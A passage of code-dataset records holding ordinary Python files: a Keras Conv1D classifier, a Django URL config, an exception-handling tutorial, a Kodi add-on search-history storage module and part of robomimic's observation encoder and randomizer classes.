coffee_maker_machine.make_coffee(drink)","repo_name":"islandhuynh/Coffee-Machine-OOP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5046670407","text":"\nimport numpy as np\nfrom keras.layers import Dense, Activation\nfrom keras.models import Sequential\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv(\"z_datasetB - Copy.csv\")\ntrain_data = dataset.iloc[:, :-1]\ntrain_targets = dataset.iloc[:, -1]\nprint(train_data.shape[1])\ntrain_targets\n\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nscaler.fit(train_data)\ntrain_data = scaler.transform(train_data)\n#train_targets = minmaxnormalization(train_targets,min(train_targets),max(train_targets),0,1)\ntrain_data\n\ntrain_data[:,0]\n\nsample_size = train_data.shape[0] # number of samples in train set\ntime_steps = train_data.shape[1] # number of features in train set\ninput_dimension = 1 # each feature is represented by 1 number\n\nprint(sample_size)\nprint(time_steps)\n\ntrain_data_reshaped = train_data.reshape(sample_size,time_steps,input_dimension)\nprint(\"After reshape train data set shape:\\n\", train_data_reshaped.shape)\nprint(\"1 Sample shape:\\n\",train_data_reshaped[0].shape)\nprint(\"An example sample:\\n\", train_data_reshaped[0])\n\nfrom keras import layers\nfrom keras import models\nfrom keras import optimizers\nfrom tensorflow.keras import regularizers\ndef build_conv1D_model():\n n_timesteps = train_data_reshaped.shape[1] # features in train_data\n n_features = train_data_reshaped.shape[2] #1 \n model = models.Sequential(name=\"model_conv1D\")\n \n model.add(layers.Conv1D(filters=128, kernel_size=3, activation='relu',padding='valid', name=\"B1_Conv1D_1\",input_shape=(n_timesteps,n_features)))\n model.add(layers.Conv1D(filters=128, kernel_size=3, activation='relu',padding='valid', name=\"B1_Conv1D_2\"))\n model.add(layers.Dropout(0.1,name=\"Drop1\"))\n model.add(layers.MaxPooling1D(pool_size=2, name=\"B1_MaxPooling1D\"))\n\n model.add(layers.Conv1D(filters=256, kernel_size=3, activation='relu',padding='valid', name=\"B2_Conv1D_1\"))\n model.add(layers.Conv1D(filters=256, kernel_size=3, activation='relu',padding='valid', name=\"B2_Conv1D_2\"))\n model.add(layers.Dropout(0.1,name=\"Drop2\"))\n model.add(layers.MaxPooling1D(pool_size=2, name=\"B2_MaxPooling1D\"))\n\n\n model.add(layers.Flatten(name=\"Flatten\"))\n model.add(layers.Dense(256, activation='relu', name=\"Dense_1\"))\n model.add(layers.Dropout(0.1,name=\"Drop3\"))\n model.add(layers.Dense(n_features,activation='sigmoid',name=\"Dense_2\"))\n\n model.compile(optimizer=optimizers.Adam(1e-3),loss='binary_crossentropy',metrics=['acc'])\n return model\n\nmodel_conv1D = build_conv1D_model()\nmodel_conv1D.summary()\n\n# Store training stats\nEPOCHS = 50\nhistory = model_conv1D.fit(train_data_reshaped, train_targets,batch_size=1, epochs=EPOCHS, validation_split=0.2, verbose=1)\n\nimport numpy as np\nk = 5\nnum_val_samples = len(train_data_reshaped) // k\nnum_epochs = 25\nall_val_acc_histories = []\nall_acc_histories = []\nfor i in range(k):\n print('processing fold #', i+1)\n val_data = train_data_reshaped[i * num_val_samples: (i + 1) * num_val_samples]\n val_targets = train_targets[i * num_val_samples: (i + 1) * num_val_samples]\n partial_train_data = np.concatenate([train_data_reshaped[:i * num_val_samples],train_data_reshaped[(i + 1) * num_val_samples:]],axis=0)\n partial_train_targets = np.concatenate([train_targets[:i * num_val_samples],train_targets[(i + 1) * num_val_samples:]],axis=0)\n model_conv1D = build_conv1D_model()\n \n history = model_conv1D.fit(partial_train_data, partial_train_targets,validation_data=(val_data, val_targets),epochs=num_epochs, batch_size=1, verbose=1)\n val_acc_history = history.history['val_acc']\n acc_history = history.history['acc']\n all_val_acc_histories.append(val_acc_history)\n all_acc_histories.append(acc_history)\n\naverage_vall_acc_history = [np.mean([x[i] for x in all_val_acc_histories]) for i in range(num_epochs)] \naverage_acc_history = [np.mean([x[i] for x in all_acc_histories]) for i in range(num_epochs)]\n\nimport matplotlib.pyplot as plt\nplt.plot(range(1, len(average_vall_acc_history) + 1), average_vall_acc_history)\nplt.plot(range(1, len(average_acc_history) + 1), average_acc_history)\nplt.xlabel('Epochs')\nplt.ylabel('Validation ACC')\nplt.show()","repo_name":"aliyavari1374/computer-vision-and-nlp-codes","sub_path":"7- classification_using_conv1d .py","file_name":"7- classification_using_conv1d .py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17454776853","text":"from django.contrib import admin\r\nfrom django.urls import path, include\r\nfrom rest_framework.schemas import get_schema_view\r\nfrom django.views.generic import TemplateView\r\nfrom rest_framework_swagger.views import get_swagger_view\r\n\r\n\r\n\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('api/',include('api.urls')),\r\n path('openapi/', get_schema_view(\r\n title=\"School Service\",\r\n description=\"API developers hpoing to use our service\"\r\n ), name='openapi-schema'),\r\n path('docs/', TemplateView.as_view(\r\n template_name='documentation.html',\r\n extra_context={'schema_url':'openapi-schema'}\r\n ), name='docs'),\r\n]\r\n","repo_name":"harshitbhomawat/InstaHyre","sub_path":"InstaHyre/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38080957027","text":"\"\"\"Скинуть файлик с примерами всех конструкций КРОМЕ менеджера контекста. With/as. 20 баллов\"\"\"\n\nmy_dict = {\"a\": 1, \"b\": 2, \"c\": 3}\n\ntry:\n value = my_dict[\"a\"]\nexcept KeyError:\n print(\"A KeyError occurred!\")\nfinally:\n print(\"The finally statement ran!\")\n\n\ndef fetcher(obj, index):\n return obj[index]\n\n\nx = 'spam'\n\nfetcher(x, 3) # Все равно что x[3].\nfetcher(x, 4) # Обработчик по умолчанию - интерактивная оболочка, возбкждает исключение IndexError.\n\n\ntry:\n fetcher(x, 4)\nexcept IndexError: # Перехватывает и обрабатывает искдючение.\n print('Got exception ')\n\n\ndef catcher():\n try:\n fetcher(x, 4)\n except IndexError:\n print('Got exception')\n print('continuing')\n\n\ncatcher()\n\ntry:\n raise IndexError # Возбкждает исключение вручную\nexcept IndexError:\n print('Got exception')\n\n\n# assert False, 'Nobody expects the Spanish Inquisition!'\n\"\"\"Исключения, определяемые пользователем \"\"\"\n\n\nclass Bad(Exception): # Пользовательское исключение\n pass\n\n\ndef doomed():\n raise Bad() # Возбудит экземпляр исключения\n\n\ntry:\n doomed()\nexcept Bad: # Перехватить исключение по имени класса\n print('Got Bad')\n\n\"\"\"Заключительные операции\"\"\"\n\n\ntry:\n fetcher(x, 4)\nfinally: # Заключительные операции\n print('after fetch')\n\n\ndef after():\n try:\n fetcher(x, 4)\n finally:\n print('after fetch')\n print('after try?')\n\n\nafter()\n","repo_name":"laskarj/hillel_python_basic","sub_path":"lesson_10/eduatd_task_1_hw_10.py","file_name":"eduatd_task_1_hw_10.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17922702423","text":"# -*- coding: utf-8 -*-\n\n# 2022-10-05\n# edit 2023-05-08\n# kasi - SourceCode class _Storage() von https://github.com/vlmaksime/script.module.simpleplugin\n\"\"\"\nSimplePlugin micro-framework for Kodi content plugins\n**Author**: Roman Miroshnychenko aka Roman V.M.\n**License**: `GPL v.3 <https://www.gnu.org/copyleft/gpl.html>`_\n\"\"\"\n\nimport os,sys\nimport time\nimport hashlib\nimport pickle\nfrom copy import deepcopy\nfrom shutil import copyfile\nimport xbmc, xbmcaddon\n\nif sys.version_info.major == 3:\n from typing import MutableMapping\n from xbmcvfs import translatePath\nelse:\n from collections import MutableMapping\n from xbmc import translatePath\n\n\nclass _Storage(MutableMapping):\n \"\"\"\n Storage(storage_dir, filename='storage.pcl')\n\n Persistent storage for arbitrary data with a dictionary-like interface\n\n It is designed as a context manager and better be used\n with 'with' statement.\n\n :param storage_dir: directory for storage\n :type storage_dir: str\n :param filename: the name of a storage file (optional)\n :type filename: str\n\n Usage::\n\n with Storage('/foo/bar/storage/') as storage:\n storage['key1'] = value1\n value2 = storage['key2']\n\n .. note:: After exiting :keyword:`with` block a :class:`Storage` instance\n is invalidated. Storage contents are saved to disk only for\n a new storage or if the contents have been changed.\n \"\"\"\n def __init__(self, storage_dir, filename='storage.pcl'):\n \"\"\"\n Class constructor\n\n :type storage_dir: str\n :type filename: str\n \"\"\"\n self._storage = {}\n self._hash = None\n self._filename = os.path.join(storage_dir, filename)\n try:\n with open(self._filename, 'rb') as fo:\n contents = fo.read()\n self._storage = pickle.loads(contents)\n self._hash = hashlib.md5(contents).hexdigest()\n except (IOError, pickle.PickleError, EOFError, AttributeError):\n pass\n\n def __enter__(self):\n return self\n\n def __exit__(self, t, v, tb):\n self.flush()\n\n def __getitem__(self, key):\n return self._storage[key]\n\n def __setitem__(self, key, value):\n self._storage[key] = value\n\n def __delitem__(self, key):\n del self._storage[key]\n\n def __iter__(self):\n return iter(self._storage)\n\n def __len__(self):\n return len(self._storage)\n\n def __str__(self):\n return '<Storage {0}>'.format(self._storage)\n\n def flush(self):\n \"\"\"\n Save storage contents to disk\n\n This method saves new and changed :class:`Storage` contents to disk\n and invalidates the Storage instance. Unchanged Storage is not saved\n but simply invalidated.\n \"\"\"\n contents = pickle.dumps(self._storage, protocol=2)\n if self._hash is None or hashlib.md5(contents).hexdigest() != self._hash:\n tmp = self._filename + '.tmp'\n start = time.time()\n while os.path.exists(tmp):\n if time.time() - start > 2.0:\n raise TimeoutError(\n 'Exceeded timeout for saving {0} contents!'.format(self)\n )\n xbmc.sleep(100)\n try:\n with open(tmp, 'wb') as fo:\n fo.write(contents)\n copyfile(tmp, self._filename)\n finally:\n os.remove(tmp)\n del self._storage\n\n def copy(self):\n \"\"\"\n Make a copy of storage contents\n\n .. note:: this method performs a *deep* copy operation.\n\n :return: a copy of storage contents\n :rtype: dict\n \"\"\"\n return deepcopy(self._storage)\n\ndef _py2_decode(s, encoding='utf-8'):\n \"\"\"\n Decode Python 2 ``str`` to ``unicode``\n In Python 3 the string is not changed.\n \"\"\"\n if sys.version_info.major == 2 and isinstance(s, bytes):\n s = s.decode(encoding)\n return s\n\ndef _get_storage(filename='storage.pcl'):\n \"\"\"\n Get a persistent :class:`Storage` instance for storing arbitrary values\n between addon calls.\n A :class:`Storage` instance can be used as a context manager.\n Example::\n\n with plugin.get_storage() as storage:\n storage['param1'] = value1\n value2 = storage['param2']\n\n .. note:: After exiting :keyword:`with` block a :class:`Storage`\n instance is invalidated.\n\n :param filename: the name of a storage file (optional)\n :type filename: str\n :return: Storage object\n :rtype: Storage\n \"\"\"\n if filename == None or filename == '': filename = 'storage.pcl'\n _profile_dir = _py2_decode(translatePath(xbmcaddon.Addon().getAddonInfo('profile')))\n if not os.path.exists(_profile_dir): os.mkdir(_profile_dir)\n return _Storage(_profile_dir, filename)\n\ndef save_query(query, channel=None):\n if not query == None: query = query.lower()\n with _get_storage() as storage:\n if 'queries' not in storage:\n storage['queries'] = []\n entry = {\n 'query': query,\n 'channel': channel\n }\n if entry in storage['queries']:\n storage['queries'].remove(entry)\n storage['queries'].insert(0, entry)\n\ndef load_queries():\n try:\n with _get_storage() as storage:\n if 'queries' not in storage:\n storage['queries'] = []\n return storage['queries']\n except:\n return []\n\ndef remove_query(params):\n with _get_storage() as storage:\n storage['queries'].pop(int(params.get('index')))\n\ndef remove_all_query():\n with _get_storage() as storage:\n while True:\n if len(storage['queries']) > 0:\n storage['queries'].pop()\n else:\n break\n\ndef searchNew(channel=None):\n k = xbmc.Keyboard('', \"Suche\")\n k.doModal()\n term = k.getText() if k.isConfirmed() else None\n if term is None or term == '': return\n query = term.strip()\n save_query(query, channel)\n url = '%s?action=search&channel=%s&query=%s' % (sys.argv[0], channel, query)\n xbmc.executebuiltin('Container.Update(%s)' % url)\n","repo_name":"kasi45/plugin.video.mediathekviewweb","sub_path":"resources/lib/searchdb.py","file_name":"searchdb.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"73917144214","text":"\"\"\"\nContains torch Modules for core observation processing blocks\nsuch as encoders (e.g. EncoderCore, VisualCore, ScanCore, ...)\nand randomizers (e.g. Randomizer, CropRandomizer).\n\"\"\"\n\nimport abc\nimport numpy as np\nimport textwrap\nimport random\n\nimport torch\nimport torch.nn as nn\nfrom torchvision.transforms import Lambda, Compose\nimport torchvision.transforms.functional as TVF\n\nimport robomimic.models.base_nets as BaseNets\nimport robomimic.utils.tensor_utils as TensorUtils\nimport robomimic.utils.obs_utils as ObsUtils\nfrom robomimic.utils.python_utils import extract_class_init_kwargs_from_dict\n\n# NOTE: this is required for the backbone classes to be found by the `eval` call in the core networks\nfrom robomimic.models.base_nets import *\nfrom robomimic.utils.vis_utils import visualize_image_randomizer\nfrom robomimic.macros import VISUALIZE_RANDOMIZER\n\n\n\"\"\"\n================================================\nEncoder Core Networks (Abstract class)\n================================================\n\"\"\"\nclass EncoderCore(BaseNets.Module):\n \"\"\"\n Abstract class used to categorize all cores used to encode observations\n \"\"\"\n def __init__(self, input_shape):\n self.input_shape = input_shape\n super(EncoderCore, self).__init__()\n\n def __init_subclass__(cls, **kwargs):\n \"\"\"\n Hook method to automatically register all valid subclasses so we can keep track of valid observation encoders\n in a global dict.\n\n This global dict stores mapping from observation encoder network name to class.\n We keep track of these registries to enable automated class inference at runtime, allowing\n users to simply extend our base encoder class and refer to that class in string form\n in their config, without having to manually register their class internally.\n This also future-proofs us for any additional encoder classes we would\n like to add ourselves.\n \"\"\"\n ObsUtils.register_encoder_core(cls)\n\n\n\"\"\"\n================================================\nVisual Core Networks (Backbone + Pool)\n================================================\n\"\"\"\nclass VisualCore(EncoderCore, BaseNets.ConvBase):\n \"\"\"\n A network block that combines a visual backbone network with optional pooling\n and linear layers.\n \"\"\"\n def __init__(\n self,\n input_shape,\n backbone_class=\"ResNet18Conv\",\n pool_class=\"SpatialSoftmax\",\n backbone_kwargs=None,\n pool_kwargs=None,\n flatten=True,\n feature_dimension=64,\n ):\n \"\"\"\n Args:\n input_shape (tuple): shape of input (not including batch dimension)\n backbone_class (str): class name for the visual backbone network. Defaults\n to \"ResNet18Conv\".\n pool_class (str): class name for the visual feature pooler (optional)\n Common options are \"SpatialSoftmax\" and \"SpatialMeanPool\". Defaults to\n \"SpatialSoftmax\".\n backbone_kwargs (dict): kwargs for the visual backbone network (optional)\n pool_kwargs (dict): kwargs for the visual feature pooler (optional)\n flatten (bool): whether to flatten the visual features\n feature_dimension (int): if not None, add a Linear layer to\n project output into a desired feature dimension\n \"\"\"\n super(VisualCore, self).__init__(input_shape=input_shape)\n self.flatten = flatten\n\n if backbone_kwargs is None:\n backbone_kwargs = dict()\n\n # add input channel dimension to visual core inputs\n backbone_kwargs[\"input_channel\"] = input_shape[0]\n\n # extract only relevant kwargs for this specific backbone\n backbone_kwargs = extract_class_init_kwargs_from_dict(cls=eval(backbone_class), dic=backbone_kwargs, copy=True)\n\n # visual backbone\n assert isinstance(backbone_class, str)\n self.backbone = eval(backbone_class)(**backbone_kwargs)\n\n assert isinstance(self.backbone, BaseNets.ConvBase)\n\n feat_shape = self.backbone.output_shape(input_shape)\n net_list = [self.backbone]\n\n # maybe make pool net\n if pool_class is not None:\n assert isinstance(pool_class, str)\n # feed output shape of backbone to pool net\n if pool_kwargs is None:\n pool_kwargs = dict()\n # extract only relevant kwargs for this specific backbone\n pool_kwargs[\"input_shape\"] = feat_shape\n pool_kwargs = extract_class_init_kwargs_from_dict(cls=eval(pool_class), dic=pool_kwargs, copy=True)\n self.pool = eval(pool_class)(**pool_kwargs)\n assert isinstance(self.pool, BaseNets.Module)\n\n feat_shape = self.pool.output_shape(feat_shape)\n net_list.append(self.pool)\n else:\n self.pool = None\n\n # flatten layer\n if self.flatten:\n net_list.append(torch.nn.Flatten(start_dim=1, end_dim=-1))\n\n # maybe linear layer\n self.feature_dimension = feature_dimension\n if feature_dimension is not None:\n assert self.flatten\n linear = torch.nn.Linear(int(np.prod(feat_shape)), feature_dimension)\n net_list.append(linear)\n\n self.nets = nn.Sequential(*net_list)\n\n def output_shape(self, input_shape):\n \"\"\"\n Function to compute output shape from inputs to this module. \n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend \n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n if self.feature_dimension is not None:\n # linear output\n return [self.feature_dimension]\n feat_shape = self.backbone.output_shape(input_shape)\n if self.pool is not None:\n # pool output\n feat_shape = self.pool.output_shape(feat_shape)\n # backbone + flat output\n if self.flatten:\n return [np.prod(feat_shape)]\n else:\n return feat_shape\n\n def forward(self, inputs):\n \"\"\"\n Forward pass through visual core.\n \"\"\"\n ndim = len(self.input_shape)\n assert tuple(inputs.shape)[-ndim:] == tuple(self.input_shape)\n return super(VisualCore, self).forward(inputs)\n\n def __repr__(self):\n \"\"\"Pretty print network.\"\"\"\n header = '{}'.format(str(self.__class__.__name__))\n msg = ''\n indent = ' ' * 2\n msg += textwrap.indent(\n \"\\ninput_shape={}\\noutput_shape={}\".format(self.input_shape, self.output_shape(self.input_shape)), indent)\n msg += textwrap.indent(\"\\nbackbone_net={}\".format(self.backbone), indent)\n msg += textwrap.indent(\"\\npool_net={}\".format(self.pool), indent)\n msg = header + '(' + msg + '\\n)'\n return msg\n\n\n\"\"\"\n================================================\nScan Core Networks (Conv1D Sequential + Pool)\n================================================\n\"\"\"\nclass ScanCore(EncoderCore, BaseNets.ConvBase):\n \"\"\"\n A network block that combines a Conv1D backbone network with optional pooling\n and linear layers.\n \"\"\"\n def __init__(\n self,\n input_shape,\n conv_kwargs=None,\n conv_activation=\"relu\",\n pool_class=None,\n pool_kwargs=None,\n flatten=True,\n feature_dimension=None,\n ):\n \"\"\"\n Args:\n input_shape (tuple): shape of input (not including batch dimension)\n conv_kwargs (dict): kwargs for the conv1d backbone network. Should contain lists for the following values:\n out_channels (int)\n kernel_size (int)\n stride (int)\n ...\n\n If not specified, or an empty dictionary is specified, some default settings will be used.\n conv_activation (str or None): Activation to use between conv layers. Default is relu.\n Currently, valid options are {relu}\n pool_class (str): class name for the visual feature pooler (optional)\n Common options are \"SpatialSoftmax\" and \"SpatialMeanPool\"\n pool_kwargs (dict): kwargs for the visual feature pooler (optional)\n flatten (bool): whether to flatten the network output\n feature_dimension (int): if not None, add a Linear layer to\n project output into a desired feature dimension (note: flatten must be set to True!)\n \"\"\"\n super(ScanCore, self).__init__(input_shape=input_shape)\n self.flatten = flatten\n self.feature_dimension = feature_dimension\n\n if conv_kwargs is None:\n conv_kwargs = dict()\n\n # Generate backbone network\n self.backbone = BaseNets.Conv1dBase(\n input_channel=1,\n activation=conv_activation,\n **conv_kwargs,\n )\n feat_shape = self.backbone.output_shape(input_shape=input_shape)\n\n # Create netlist of all generated networks\n net_list = [self.backbone]\n\n # Possibly add pooling network\n if pool_class is not None:\n # Add an unsqueeze network so that the shape is correct to pass to pooling network\n self.unsqueeze = Unsqueeze(dim=-1)\n net_list.append(self.unsqueeze)\n # Get output shape\n feat_shape = self.unsqueeze.output_shape(feat_shape)\n # Create pooling network\n self.pool = eval(pool_class)(input_shape=feat_shape, **pool_kwargs)\n net_list.append(self.pool)\n feat_shape = self.pool.output_shape(feat_shape)\n else:\n self.unsqueeze, self.pool = None, None\n\n # flatten layer\n if self.flatten:\n net_list.append(torch.nn.Flatten(start_dim=1, end_dim=-1))\n\n # maybe linear layer\n if self.feature_dimension is not None:\n assert self.flatten\n linear = torch.nn.Linear(int(np.prod(feat_shape)), self.feature_dimension)\n net_list.append(linear)\n\n # Generate final network\n self.nets = nn.Sequential(*net_list)\n\n def output_shape(self, input_shape):\n \"\"\"\n Function to compute output shape from inputs to this module.\n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend\n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n if self.feature_dimension is not None:\n # linear output\n return [self.feature_dimension]\n feat_shape = self.backbone.output_shape(input_shape)\n if self.pool is not None:\n # pool output\n feat_shape = self.pool.output_shape(self.unsqueeze.output_shape(feat_shape))\n # backbone + flat output\n return [np.prod(feat_shape)] if self.flatten else feat_shape\n\n def forward(self, inputs):\n \"\"\"\n Forward pass through visual core.\n \"\"\"\n ndim = len(self.input_shape)\n assert tuple(inputs.shape)[-ndim:] == tuple(self.input_shape)\n return super(ScanCore, self).forward(inputs)\n\n def __repr__(self):\n \"\"\"Pretty print network.\"\"\"\n header = '{}'.format(str(self.__class__.__name__))\n msg = ''\n indent = ' ' * 2\n msg += textwrap.indent(\n \"\\ninput_shape={}\\noutput_shape={}\".format(self.input_shape, self.output_shape(self.input_shape)), indent)\n msg += textwrap.indent(\"\\nbackbone_net={}\".format(self.backbone), indent)\n msg += textwrap.indent(\"\\npool_net={}\".format(self.pool), indent)\n msg = header + '(' + msg + '\\n)'\n return msg\n\n\n\"\"\"\n================================================\nObservation Randomizer Networks\n================================================\n\"\"\"\nclass Randomizer(BaseNets.Module):\n \"\"\"\n Base class for randomizer networks. Each randomizer should implement the @output_shape_in,\n @output_shape_out, @forward_in, and @forward_out methods. The randomizer's @forward_in\n method is invoked on raw inputs, and @forward_out is invoked on processed inputs\n (usually processed by a @VisualCore instance). Note that the self.training property\n can be used to change the randomizer's behavior at train vs. test time.\n \"\"\"\n def __init__(self):\n super(Randomizer, self).__init__()\n\n def __init_subclass__(cls, **kwargs):\n \"\"\"\n Hook method to automatically register all valid subclasses so we can keep track of valid observation randomizers\n in a global dict.\n\n This global dict stores mapping from observation randomizer network name to class.\n We keep track of these registries to enable automated class inference at runtime, allowing\n users to simply extend our base randomizer class and refer to that class in string form\n in their config, without having to manually register their class internally.\n This also future-proofs us for any additional randomizer classes we would\n like to add ourselves.\n \"\"\"\n ObsUtils.register_randomizer(cls)\n\n def output_shape(self, input_shape=None):\n \"\"\"\n This function is unused. See @output_shape_in and @output_shape_out.\n \"\"\"\n raise NotImplementedError\n\n @abc.abstractmethod\n def output_shape_in(self, input_shape=None):\n \"\"\"\n Function to compute output shape from inputs to this module. Corresponds to\n the @forward_in operation, where raw inputs (usually observation modalities)\n are passed in.\n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend\n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n raise NotImplementedError\n\n @abc.abstractmethod\n def output_shape_out(self, input_shape=None):\n \"\"\"\n Function to compute output shape from inputs to this module. Corresponds to\n the @forward_out operation, where processed inputs (usually encoded observation\n modalities) are passed in.\n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend\n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n raise NotImplementedError\n\n def forward_in(self, inputs):\n \"\"\"\n Randomize raw inputs if training.\n \"\"\"\n if self.training:\n randomized_inputs = self._forward_in(inputs=inputs)\n if VISUALIZE_RANDOMIZER:\n num_samples_to_visualize = min(4, inputs.shape[0])\n self._visualize(inputs, randomized_inputs, num_samples_to_visualize=num_samples_to_visualize)\n return randomized_inputs\n else:\n return self._forward_in_eval(inputs)\n\n def forward_out(self, inputs):\n \"\"\"\n Processing for network outputs.\n \"\"\"\n if self.training:\n return self._forward_out(inputs)\n else:\n return self._forward_out_eval(inputs)\n\n @abc.abstractmethod\n def _forward_in(self, inputs):\n \"\"\"\n Randomize raw inputs.\n \"\"\"\n raise NotImplementedError\n\n def _forward_in_eval(self, inputs):\n \"\"\"\n Test-time behavior for the randomizer\n \"\"\"\n return inputs\n\n @abc.abstractmethod\n def _forward_out(self, inputs):\n \"\"\"\n Processing for network outputs.\n \"\"\"\n return inputs\n\n def _forward_out_eval(self, inputs):\n \"\"\"\n Test-time behavior for the randomizer\n \"\"\"\n return inputs\n\n @abc.abstractmethod\n def _visualize(self, pre_random_input, randomized_input, num_samples_to_visualize=2):\n \"\"\"\n Visualize the original input and the randomized input for _forward_in for debugging purposes.\n \"\"\"\n pass\n\n\nclass CropRandomizer(Randomizer):\n \"\"\"\n Randomly sample crops at input, and then average across crop features at output.\n \"\"\"\n def __init__(\n self,\n input_shape,\n crop_height=76,\n crop_width=76,\n num_crops=1,\n pos_enc=False,\n ):\n \"\"\"\n Args:\n input_shape (tuple, list): shape of input (not including batch dimension)\n crop_height (int): crop height\n crop_width (int): crop width\n num_crops (int): number of random crops to take\n pos_enc (bool): if True, add 2 channels to the output to encode the spatial\n location of the cropped pixels in the source image\n \"\"\"\n super(CropRandomizer, self).__init__()\n\n assert len(input_shape) == 3 # (C, H, W)\n assert crop_height < input_shape[1]\n assert crop_width < input_shape[2]\n\n self.input_shape = input_shape\n self.crop_height = crop_height\n self.crop_width = crop_width\n self.num_crops = num_crops\n self.pos_enc = pos_enc\n\n def output_shape_in(self, input_shape=None):\n \"\"\"\n Function to compute output shape from inputs to this module. Corresponds to\n the @forward_in operation, where raw inputs (usually observation modalities)\n are passed in.\n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend\n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n\n # outputs are shape (C, CH, CW), or maybe C + 2 if using position encoding, because\n # the number of crops are reshaped into the batch dimension, increasing the batch\n # size from B to B * N\n out_c = self.input_shape[0] + 2 if self.pos_enc else self.input_shape[0]\n return [out_c, self.crop_height, self.crop_width]\n\n def output_shape_out(self, input_shape=None):\n \"\"\"\n Function to compute output shape from inputs to this module. Corresponds to\n the @forward_out operation, where processed inputs (usually encoded observation\n modalities) are passed in.\n\n Args:\n input_shape (iterable of int): shape of input. Does not include batch dimension.\n Some modules may not need this argument, if their output does not depend\n on the size of the input, or if they assume fixed size input.\n\n Returns:\n out_shape ([int]): list of integers corresponding to output shape\n \"\"\"\n\n # since the forward_out operation splits [B * N, ...] -> [B, N, ...]\n # and then pools to result in [B, ...], only the batch dimension changes,\n # and so the other dimensions retain their shape.\n return list(input_shape)\n\n def _forward_in(self, inputs):\n \"\"\"\n Samples N random crops for each input in the batch, and then reshapes\n inputs to [B * N, ...].\n \"\"\"\n assert len(inputs.shape) >= 3 # must have at least (C, H, W) dimensions\n out, _ = ObsUtils.sample_random_image_crops(\n images=inputs,\n crop_height=self.crop_height,\n crop_width=self.crop_width,\n num_crops=self.num_crops,\n pos_enc=self.pos_enc,\n )\n # [B, N, ...] -> [B * N, ...]\n return TensorUtils.join_dimensions(out, 0, 1)\n\n def _forward_in_eval(self, inputs):\n \"\"\"\n Do center crops during eval\n \"\"\"\n assert len(inputs.shape) >= 3 # must have at least (C, H, W) dimensions\n inputs = inputs.permute(*range(inputs.dim()-3), inputs.dim()-2, inputs.dim()-1, inputs.dim()-3)\n out = ObsUtils.center_crop(inputs, self.crop_height, self.crop_width)\n out = out.permute(*range(out.dim()-3), out.dim()-1, out.dim()-3, out.dim()-2)\n return out\n\n def _forward_out(self, inputs):\n \"\"\"\n Splits the outputs from shape [B * N, ...] -> [B, N, ...] and then average across N\n to result in shape [B, ...] to make sure the network output is consistent with\n what would have happened if there were no randomization.\n \"\"\"\n batch_size = (inputs.shape[0] // self.num_crops)\n out = TensorUtils.reshape_dimensions(inputs, begin_axis=0, end_axis=0,\n target_dims=(batch_size, self.num_crops))\n return out.mean(dim=1)\n\n def _visualize(self, pre_random_input, randomized_input, num_samples_to_visualize=2):\n batch_size = pre_random_input.shape[0]\n random_sample_inds = torch.randint(0, batch_size, size=(num_samples_to_visualize,))\n pre_random_input_np = TensorUtils.to_numpy(pre_random_input)[random_sample_inds]\n randomized_input = TensorUtils.reshape_dimensions(\n randomized_input,\n begin_axis=0,\n end_axis=0,\n target_dims=(batch_size, self.num_crops)\n ) # [B * N, ...] -> [B, N, ...]\n randomized_input_np = TensorUtils.to_numpy(randomized_input[random_sample_inds])\n\n pre_random_input_np = pre_random_input_np.transpose((0, 2, 3, 1)) # [B, C, H, W] -> [B, H, W, C]\n randomized_input_np = randomized_input_np.transpose((0, 1, 3, 4, 2)) # [B, N, C, H, W] -> [B, N, H, W, C]\n\n visualize_image_randomizer(\n pre_random_input_np,\n randomized_input_np,\n randomizer_name='{}'.format(str(self.__class__.__name__))\n )\n\n def __repr__(self):\n \"\"\"Pretty print network.\"\"\"\n header = '{}'.format(str(self.__class__.__name__))\n msg = header + \"(input_shape={}, crop_size=[{}, {}], num_crops={})\".format(\n self.input_shape, self.crop_height, self.crop_width, self.num_crops)\n return msg\n\n\nclass ColorRandomizer(Randomizer):\n \"\"\"\n Randomly sample color jitter at input, and then average across color jtters at output.\n \"\"\"\n def __init__(\n self,\n input_shape,\n brightness=0.3,\n contrast=0.3,\n saturation=0.3,\n hue=0.3,\n num_samples=1,\n ):\n \"\"\"\n Args:\n input_shape (tuple, list): shape of input (not including batch dimension)\n brightness (None or float or 2-tuple): How much to jitter brightness. brightness_factor is chosen uniformly\n from [max(0, 1 - brightness), 1 + brightness] or the given [min, max]. Should be non negative numbers.\n contrast (None or float or 2-tuple): How much to jitter contrast. contrast_factor is chosen uniformly\n from [max(0, 1 - contrast), 1 + contrast] 